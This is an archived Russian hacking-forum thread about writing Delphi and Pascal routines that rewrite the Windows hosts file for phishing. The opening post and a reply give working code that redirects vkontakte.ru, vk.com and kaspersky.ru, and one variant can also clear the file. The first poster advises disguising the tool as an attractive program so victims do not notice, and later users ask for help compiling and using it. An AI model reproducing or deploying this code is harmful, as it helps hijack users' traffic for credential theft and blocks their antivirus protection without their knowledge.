PDA

Просмотр полной версии : Редактируем HOSTS под фишинг


Sokolik
10.01.2010, 05:05
Прочитал тему (http://forum.antichat.ru/thread151569.html), в ней выложен билдер батников для редактирование хостс. Если кто хочет может сделать на дельфи тоже самое на свой вкус, чтобы не париться со склейкой батника.

Пишем процедуру:

procedure wHosts(s:string);
var
SysdirP: PChar;
hFile: THandle;
nw: dword;
b: byte;
begin
SysDirP := StrAlloc(MAX_PATH);
GetSystemDirectory(SysDirP, MAX_PATH);
lstrcat(SysDirP, '\drivers\etc\hosts');
hFile := CreateFile(SysDirP, GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(hFile, 0, nil, FILE_END);
b:=13;
WriteFile(hFile, b, 1, nw, nil);
b:=10;
WriteFile(hFile, b, 1, nw, nil);
WriteFile(hFile, PAnsiChar(s)^, length(s), nw, nil);
CloseHandle(hFile);
end;

Применение:

procedure TForm1.FormCreate(Sender: TObject);
begin
wHosts('127.0.0.1 www.vkontakte.ru');
wHosts('127.0.0.1 vkontakte.ru');
wHosts('127.0.0.1 www.vk.com');
wHosts('127.0.0.1 vk.com');
wHosts('127.0.0.1 www.kaspersky.ru');
wHosts('127.0.0.1 kaspersky.ru');
end;

Чтобы было без палева можно сделать под видом кульной проги, думаю с дельфи из форумчан много кто знаком.

Сорц (http://webfile.ru/4219485)

shell_c0de
10.01.2010, 06:41
Вот эт норм теперь не будут барыжничать host билдером ) или будут ? )

DarkByte
10.01.2010, 13:34
А не проще ли было через assign, append/rewrite, writeln, close?

Sokolik
10.01.2010, 14:07
А не проще ли было через assign, append/rewrite, writeln, close?
Выложи свой пример, меня и мой устраивает!

DarkByte
10.01.2010, 14:26
Выложи свой пример, меня и мой устраивает!
procedure toHosts(s:string; clear: boolean=false);
var
SysDir: string;
f: TextFile;
begin
SetLength(SysDir,MAX_PATH);
GetSystemDirectory(PCHar(SysDir), MAX_PATH);
if SysDir<>'' then begin
SetLength(SysDir,pos(#0,SysDir)-1);
SysDir:=SysDir+'\drivers\etc\hosts';
assign(f,SysDir);
if clear or (not FileExists(SysDir)) then rewrite(f) else append(f);
writeln(f,s);
close(f);
end;
end;


Пример использования
begin
toHosts('127.0.0.1 www.vkontakte.ru',true);
toHosts('127.0.0.1 vkontakte.ru');
toHosts('127.0.0.1 www.vk.com');
toHosts('127.0.0.1 vk.com');
end;

В первом вызове toHosts вторым параметром указывается true, для того, чтобы очистить файл hosts.

Шухер
10.01.2010, 18:17
кто расскажет как юзать данную вещь? :)

22Striker22
10.01.2010, 18:36
А не проще ли было через assign, append/rewrite, writeln, close?
Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).

22Striker22
10.01.2010, 18:44
кто расскажет как юзать данную вещь? :)
Скачиваешь, запускаешь и радуешься.

DarkByte
10.01.2010, 19:23
Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).
Да неужели? Странно, а у меня работают. assign это обёртка над CreateFile, если речь об этом.

Wh1Te
10.01.2010, 19:31
За бутылочку пива кто сможет помочь?

Sokolik
10.01.2010, 20:34
За бутылочку пива кто сможет помочь?
Тебе скомпилить надо чтоли? В асю стукни: 117845

xxxBARTONxxx
22.01.2010, 15:18
подскажите пожалуйста, как батником сделать удаление определенных строк из hosts =)

Sokolik
07.02.2010, 03:17
delete

xxxBARTONxxx
07.02.2010, 03:42
спасибо большое, по пробую =)